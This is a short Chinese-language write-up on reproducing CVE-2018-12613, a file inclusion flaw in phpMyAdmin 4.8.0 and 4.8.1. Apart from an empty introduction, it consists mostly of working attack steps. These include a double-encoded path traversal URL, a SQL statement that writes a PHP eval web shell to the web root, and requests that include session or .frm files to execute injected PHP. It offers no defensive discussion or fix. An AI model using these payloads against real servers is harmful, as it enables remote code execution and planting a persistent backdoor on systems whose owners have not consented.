（CVE-2018-12613）Phpmyadmin 远程文件包含漏洞
=============================================

一、漏洞简介
------------

二、漏洞影响
------------

phpMyAdmin 4.8.0和4.8.1受到影响。

三、复现过程
------------

首先需要登录phpmyadmin

### payload

    http://0-sec.org/index.php?target=db_sql.php%253f/../../../../../../phpStudy/使用说明.txt

![](./resource/(CVE-2018-12613)Phpmyadmin远程文件包含漏洞/media/rId25.png)

### 写入shell

#### 第一种姿势

##### 1、写入shell，测试语句：

    SELECT '<?php phpinfo()?>'

![](./resource/(CVE-2018-12613)Phpmyadmin远程文件包含漏洞/media/rId29.png)

##### 2、查看自己的sessionid（cookie中phpMyAdmin的值）。(或者Bp抓包获取本地的cookie值也可以)

![](./resource/(CVE-2018-12613)Phpmyadmin远程文件包含漏洞/media/rId31.png)

##### 补充代码

如果上述方法不行的话，则用以下代码

    select '<?php @eval($_POST[abc]);?>' into outfile '/var/www/shell.php'

##### 3、访问：

    http://0-sec.org/index.php?target=db_sql.php%253f/../../../../../../../../phpStudy/tmp/tmp/sess_20f18hqcr2mc0nmq96vp920r6phc06v3

#### 第二种姿势

##### 1、在数据表里面添加一句话(这里一点要用get！)

![](./resource/(CVE-2018-12613)Phpmyadmin远程文件包含漏洞/media/rId36.png)

##### 2、此时会在phpStudyMySQLdata 对应数据库下生成一个frm文件（不同版本路径可能不一样）

![](./resource/(CVE-2018-12613)Phpmyadmin远程文件包含漏洞/media/rId38.png)

##### 3、访问

    http://0-sec.org/index.php?9ouu=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/9ouu/test.frm

image
